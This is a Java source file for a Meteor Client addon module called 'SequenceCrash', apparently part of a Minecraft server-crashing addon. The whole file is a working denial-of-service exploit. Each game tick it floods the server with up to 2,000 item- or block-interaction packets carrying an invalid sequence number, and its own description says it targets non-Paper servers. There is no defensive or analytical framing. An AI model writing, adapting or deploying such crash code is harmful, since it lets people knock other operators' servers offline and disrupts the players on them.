content: package widecat.meteorcrashaddon.modules;
  
  import meteordevelopment.meteorclient.events.game.GameLeftEvent;
  import meteordevelopment.meteorclient.events.world.TickEvent;
  import meteordevelopment.meteorclient.settings.*;
  import meteordevelopment.meteorclient.systems.modules.Module;
  import meteordevelopment.orbit.EventHandler;
  import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
  import net.minecraft.network.packet.c2s.play.PlayerInteractItemC2SPacket;
  import net.minecraft.util.Hand;
  import net.minecraft.util.hit.BlockHitResult;
  import net.minecraft.util.math.BlockPos;
  import net.minecraft.util.math.Direction;
  import net.minecraft.util.math.Vec3d;
  import widecat.meteorcrashaddon.CrashAddon;
  
  public class SequenceCrash extends Module {
      private final SettingGroup sgGeneral = settings.getDefaultGroup();
  
      private final Setting<Modes> mode = sgGeneral.add(new EnumSetting.Builder<Modes>()
          .name("mode")
          .description("this really doesnt matter at all")
          .defaultValue(Modes.Block)
          .build());
  
      private final Setting<Integer> amount = sgGeneral.add(new IntSetting.Builder()
          .name("amount")
          .description("Packets per tick")
          .defaultValue(200)
          .sliderRange(50, 2000)
          .build());
  
      private final Setting<Boolean> autoDisable = sgGeneral.add(new BoolSetting.Builder()
          .name("auto-disable")
          .description("Disables module on kick.")
          .defaultValue(true)
          .build());
  
      public SequenceCrash() {
          super(CrashAddon.CATEGORY, "sequence-crash", "Sends an invalid sequence, only works on non-paper");
      }
  
      @EventHandler
      private void onTick(TickEvent.Post event) {
          switch (mode.get()) {
              case Item -> {
                  for (int i = 0; i < amount.get(); i++) {
                      mc.getNetworkHandler().sendPacket(new PlayerInteractItemC2SPacket(Hand.MAIN_HAND, -1));
                  }
              }
              case Block -> {
                  Vec3d pos = new Vec3d(mc.player.getX(), mc.player.getY(), mc.player.getZ());
                  BlockHitResult bhr = new BlockHitResult(pos, Direction.DOWN, BlockPos.ofFloored(pos), false);
                  for (int i = 0; i < amount.get(); i++) {
                      mc.getNetworkHandler().sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, bhr, -1));
                  }
              }
          }
      }
  
      @EventHandler
      private void onGameLeft(GameLeftEvent event) {
          if (autoDisable.get()) toggle();
      }
  
      public enum Modes {
          Item, Block
      }
  }
  